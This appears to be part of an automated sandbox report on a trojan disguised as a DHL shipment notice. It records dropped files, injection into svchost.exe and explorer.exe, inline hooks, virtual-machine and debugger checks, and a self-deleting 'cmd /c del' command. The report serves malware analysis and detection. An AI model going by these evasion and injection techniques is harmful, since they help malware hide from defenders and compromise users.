Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03069B00 NtSetValueKey,
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0306A3B0 NtGetContextThread,
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03069A00 NtProtectVirtualMemory,
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03069A10 NtQuerySection,
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03069A20 NtResumeThread,
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03069A80 NtOpenDirectoryObject,
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03069950 NtQueueApcThread,
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030699D0 NtCreateProcessEx,
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03069820 NtEnumerateKey,
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0306B040 NtSuspendThread,
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030698A0 NtWriteVirtualMemory,
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030698F0 NtReadVirtualMemory,
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0306A710 NtOpenProcessToken,
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03069730 NtQueryVirtualMemory,
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03069760 NtOpenProcess,
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0306A770 NtOpenThread,
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03069770 NtSetInformationFile,
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030697A0 NtUnmapViewOfSection,
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03069610 NtEnumerateValueKey,
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03069670 NtQueryInformationProcess,
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03069520 NtWaitForSingleObject,
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0306AD30 NtSetContextThread,
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03069560 NtWriteFile,
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030695F0 NtQueryInformationFile,
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0239A320 NtCreateFile,
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0239A3D0 NtReadFile,
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0239A450 NtClose,
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0239A500 NtAllocateVirtualMemory,
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0239A31F NtCreateFile,
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0239A3CE NtReadFile,
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0239A4FB NtAllocateVirtualMemory,

Source: DHL SHIPMENT NOTIFICATION 1146789443.exe	Virustotal: Detection: 42%
Source: DHL SHIPMENT NOTIFICATION 1146789443.exe	ReversingLabs: Detection: 48%

Source: C:\Users\user\Desktop\DHL SHIPMENT NOTIFICATION 1146789443.exe

File read: C:\Users\user\Desktop\DHL SHIPMENT NOTIFICATION 1146789443.exe

Jump to behavior

Source: DHL SHIPMENT NOTIFICATION 1146789443.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\DHL SHIPMENT NOTIFICATION 1146789443.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: unknown	Process created: C:\Users\user\Desktop\DHL SHIPMENT NOTIFICATION 1146789443.exe "C:\Users\user\Desktop\DHL SHIPMENT NOTIFICATION 1146789443.exe"
Source: C:\Users\user\Desktop\DHL SHIPMENT NOTIFICATION 1146789443.exe	Process created: C:\Users\user\AppData\Local\Temp\aeokw.exe C:\Users\user\AppData\Local\Temp\aeokw.exe C:\Users\user\AppData\Local\Temp\fnnok
Source: C:\Users\user\AppData\Local\Temp\aeokw.exe	Process created: C:\Users\user\AppData\Local\Temp\aeokw.exe C:\Users\user\AppData\Local\Temp\aeokw.exe C:\Users\user\AppData\Local\Temp\fnnok
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\SysWOW64\svchost.exe
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Users\user\AppData\Local\Temp\aeokw.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\DHL SHIPMENT NOTIFICATION 1146789443.exe	Process created: C:\Users\user\AppData\Local\Temp\aeokw.exe C:\Users\user\AppData\Local\Temp\aeokw.exe C:\Users\user\AppData\Local\Temp\fnnok
Source: C:\Users\user\AppData\Local\Temp\aeokw.exe	Process created: C:\Users\user\AppData\Local\Temp\aeokw.exe C:\Users\user\AppData\Local\Temp\aeokw.exe C:\Users\user\AppData\Local\Temp\fnnok
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Users\user\AppData\Local\Temp\aeokw.exe"

Source: C:\Users\user\Desktop\DHL SHIPMENT NOTIFICATION 1146789443.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Source: C:\Users\user\Desktop\DHL SHIPMENT NOTIFICATION 1146789443.exe

File created: C:\Users\user\AppData\Local\Temp\nsk2670.tmp

Jump to behavior

Source: classification engine

Classification label: mal100.troj.evad.winEXE@9/4@3/3

Source: C:\Users\user\Desktop\DHL SHIPMENT NOTIFICATION 1146789443.exe

Code function: 0_2_004021AA CoCreateInstance,

Source: C:\Users\user\Desktop\DHL SHIPMENT NOTIFICATION 1146789443.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\DHL SHIPMENT NOTIFICATION 1146789443.exe

Code function: 0_2_00404ABB GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1524:120:WilError_01

Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: DHL SHIPMENT NOTIFICATION 1146789443.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: C:\mvbaz\xgpqcu\xwqn\f27888ddf02c4c6aa9eb1b8f5b3a0302\rlifld\nwoxnqyr\Release\nwoxnqyr.pdb source: DHL SHIPMENT NOTIFICATION 1146789443.exe, 00000000.00000002.271439175.0000000000789000.00000004.00000001.01000000.00000003.sdmp, aeokw.exe, 00000001.00000002.258082115.0000000000D7E000.00000002.00000001.01000000.00000004.sdmp, aeokw.exe, 00000001.00000000.249383523.0000000000D7E000.00000002.00000001.01000000.00000004.sdmp, aeokw.exe, 00000002.00000002.322132231.0000000000D7E000.00000002.00000001.01000000.00000004.sdmp, svchost.exe, 00000011.00000002.515611102.000000000352F000.00000004.10000000.00040000.00000000.sdmp, nsk2671.tmp.0.dr, aeokw.exe.0.dr
Source:	Binary string: wntdll.pdbUGP source: aeokw.exe, 00000001.00000003.255155254.0000000002E70000.00000004.00001000.00020000.00000000.sdmp, aeokw.exe, 00000001.00000003.254132987.000000001ADE0000.00000004.00001000.00020000.00000000.sdmp, aeokw.exe, 00000002.00000003.260122291.00000000012DE000.00000004.00000800.00020000.00000000.sdmp, aeokw.exe, 00000002.00000002.322328355.0000000001470000.00000040.00000800.00020000.00000000.sdmp, aeokw.exe, 00000002.00000002.322514089.000000000158F000.00000040.00000800.00020000.00000000.sdmp, svchost.exe, 00000011.00000002.514140723.0000000003000000.00000040.00000800.00020000.00000000.sdmp, svchost.exe, 00000011.00000003.322000917.0000000002C00000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 00000011.00000003.323291458.0000000002E00000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 00000011.00000002.514664363.000000000311F000.00000040.00000800.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: aeokw.exe, 00000001.00000003.255155254.0000000002E70000.00000004.00001000.00020000.00000000.sdmp, aeokw.exe, 00000001.00000003.254132987.000000001ADE0000.00000004.00001000.00020000.00000000.sdmp, aeokw.exe, 00000002.00000003.260122291.00000000012DE000.00000004.00000800.00020000.00000000.sdmp, aeokw.exe, 00000002.00000002.322328355.0000000001470000.00000040.00000800.00020000.00000000.sdmp, aeokw.exe, 00000002.00000002.322514089.000000000158F000.00000040.00000800.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000011.00000002.514140723.0000000003000000.00000040.00000800.00020000.00000000.sdmp, svchost.exe, 00000011.00000003.322000917.0000000002C00000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 00000011.00000003.323291458.0000000002E00000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 00000011.00000002.514664363.000000000311F000.00000040.00000800.00020000.00000000.sdmp
Source:	Binary string: svchost.pdb source: aeokw.exe, 00000002.00000002.322286626.00000000011DA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: svchost.pdbUGP source: aeokw.exe, 00000002.00000002.322286626.00000000011DA000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\user\AppData\Local\Temp\aeokw.exe	Code function: 1_2_00D72445 push ecx; ret
Source: C:\Users\user\AppData\Local\Temp\aeokw.exe	Code function: 2_2_00401026 push 5DA8CC51h; iretd
Source: C:\Users\user\AppData\Local\Temp\aeokw.exe	Code function: 2_2_0041E8F5 pushad ; ret
Source: C:\Users\user\AppData\Local\Temp\aeokw.exe	Code function: 2_2_0040E32E push ebx; ret
Source: C:\Users\user\AppData\Local\Temp\aeokw.exe	Code function: 2_2_0041D475 push eax; ret
Source: C:\Users\user\AppData\Local\Temp\aeokw.exe	Code function: 2_2_0041D4C2 push eax; ret
Source: C:\Users\user\AppData\Local\Temp\aeokw.exe	Code function: 2_2_0041D4CB push eax; ret
Source: C:\Users\user\AppData\Local\Temp\aeokw.exe	Code function: 2_2_0041D52C push eax; ret
Source: C:\Users\user\AppData\Local\Temp\aeokw.exe	Code function: 2_2_00D72445 push ecx; ret
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0307D0D1 push ecx; ret
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0238E32E push ebx; ret
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0239E8F5 pushad ; ret
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0239D475 push eax; ret
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0239D4CB push eax; ret
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0239D4C2 push eax; ret
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0239D52C push eax; ret

Source: C:\Users\user\Desktop\DHL SHIPMENT NOTIFICATION 1146789443.exe

File created: C:\Users\user\AppData\Local\Temp\aeokw.exe

Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Modifies the prolog of user mode functions (user mode inline hooks)

Source: explorer.exe

User mode code has changed: module: user32.dll function: PeekMessageA new code: 0x48 0x8B 0xB8 0x8E 0xEE 0xE6

Source: C:\Users\user\AppData\Local\Temp\aeokw.exe

Code function: 1_2_00D71890 RtlEncodePointer,__initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

Source: C:\Users\user\Desktop\DHL SHIPMENT NOTIFICATION 1146789443.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX

Malware Analysis System Evasion

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\AppData\Local\Temp\aeokw.exe	RDTSC instruction interceptor: First address: 0000000000409904 second address: 000000000040990A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\aeokw.exe	RDTSC instruction interceptor: First address: 0000000000409B6E second address: 0000000000409B74 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\svchost.exe	RDTSC instruction interceptor: First address: 0000000002389904 second address: 000000000238990A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\svchost.exe	RDTSC instruction interceptor: First address: 0000000002389B6E second address: 0000000002389B74 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc

Source: C:\Windows\explorer.exe TID: 6084	Thread sleep time: -50000s >= -30000s
Source: C:\Windows\SysWOW64\svchost.exe TID: 2312	Thread sleep time: -40000s >= -30000s

Source: C:\Windows\explorer.exe	Last function: Thread delayed
Source: C:\Windows\explorer.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\svchost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\svchost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\aeokw.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess

Source: C:\Users\user\AppData\Local\Temp\aeokw.exe

Code function: 2_2_00409AA0 rdtsc

Source: C:\Users\user\AppData\Local\Temp\aeokw.exe	API coverage: 4.5 %
Source: C:\Windows\SysWOW64\svchost.exe	API coverage: 7.7 %

Source: C:\Users\user\AppData\Local\Temp\aeokw.exe

Process information queried: ProcessInformation

Source: C:\Users\user\Desktop\DHL SHIPMENT NOTIFICATION 1146789443.exe	Code function: 0_2_00405D7A CloseHandle,GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,
Source: C:\Users\user\Desktop\DHL SHIPMENT NOTIFICATION 1146789443.exe	Code function: 0_2_004069A4 FindFirstFileW,FindClose,
Source: C:\Users\user\Desktop\DHL SHIPMENT NOTIFICATION 1146789443.exe	Code function: 0_2_0040290B FindFirstFileW,

Source: C:\Users\user\Desktop\DHL SHIPMENT NOTIFICATION 1146789443.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\aeokw.exe	API call chain: ExitProcess graph end node

Source: explorer.exe, 00000005.00000000.346368110.00000000051AC000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000
Source: explorer.exe, 00000005.00000000.305531432.000000000546A000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: =b\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000005.00000000.303730790.00000000051D2000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: -94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}71USER
Source: explorer.exe, 00000005.00000000.270277759.0000000006005000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware SATA CD00
Source: explorer.exe, 00000005.00000000.290260130.0000000005EAB000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000005.00000000.270277759.0000000006005000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000005.00000000.303730790.00000000051D2000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000
Source: explorer.exe, 00000005.00000000.270277759.0000000006005000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}ed:Wednesday:Thu:Thursday:Fri:Friday:Sat:Saturday
Source: explorer.exe, 00000005.00000000.268351234.000000000510C000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000
Source: explorer.exe, 00000005.00000000.270277759.0000000006005000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware SATA CD00dRom0cY

Source: C:\Users\user\AppData\Local\Temp\aeokw.exe

Code function: 1_2_00D77A95 IsDebuggerPresent,

Source: C:\Users\user\AppData\Local\Temp\aeokw.exe

Code function: 1_2_00D7558A EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

Source: C:\Users\user\AppData\Local\Temp\aeokw.exe

Code function: 1_2_00D786ED __lseeki64_nolock,__lseeki64_nolock,GetProcessHeap,HeapAlloc,__setmode_nolock,__write_nolock,__setmode_nolock,GetProcessHeap,HeapFree,__lseeki64_nolock,SetEndOfFile,GetLastError,__lseeki64_nolock,

Source: C:\Users\user\AppData\Local\Temp\aeokw.exe

Code function: 2_2_00409AA0 rdtsc

Source: C:\Users\user\AppData\Local\Temp\aeokw.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\svchost.exe	Process token adjusted: Debug

Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0304A309 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0304A309 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0304A309 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0304A309 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0304A309 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0304A309 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0304A309 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0304A309 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0304A309 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0304A309 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0304A309 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0304A309 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0304A309 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0304A309 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0304A309 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0304A309 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0304A309 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0304A309 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0304A309 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0304A309 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0304A309 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030E131B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0302DB40 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030F8B58 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0302F358 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0302DB60 mov ecx, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03053B7A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03053B7A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030E138A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03031B8F mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03031B8F mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030DD380 mov ecx, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03052397 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0305B390 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03054BAD mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03054BAD mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03054BAD mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030F5BA5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030A53CA mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030A53CA mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030503E2 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030503E2 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030503E2 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030503E2 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030503E2 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030503E2 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0304DBE9 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03038A0A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03025210 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03025210 mov ecx, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03025210 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03025210 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0302AA16 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0302AA16 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03043A1C mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030EAA16 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030EAA16 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03064A2C mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03064A2C mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0304A229 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0304A229 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0304A229 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0304A229 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0304A229 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0304A229 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0304A229 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0304A229 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_0304A229 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03029240 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03029240 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03029240 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_03029240 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030EEA55 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030B4257 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 17_2_030DB260 mov eax, dword ptr fs:[00000030h]
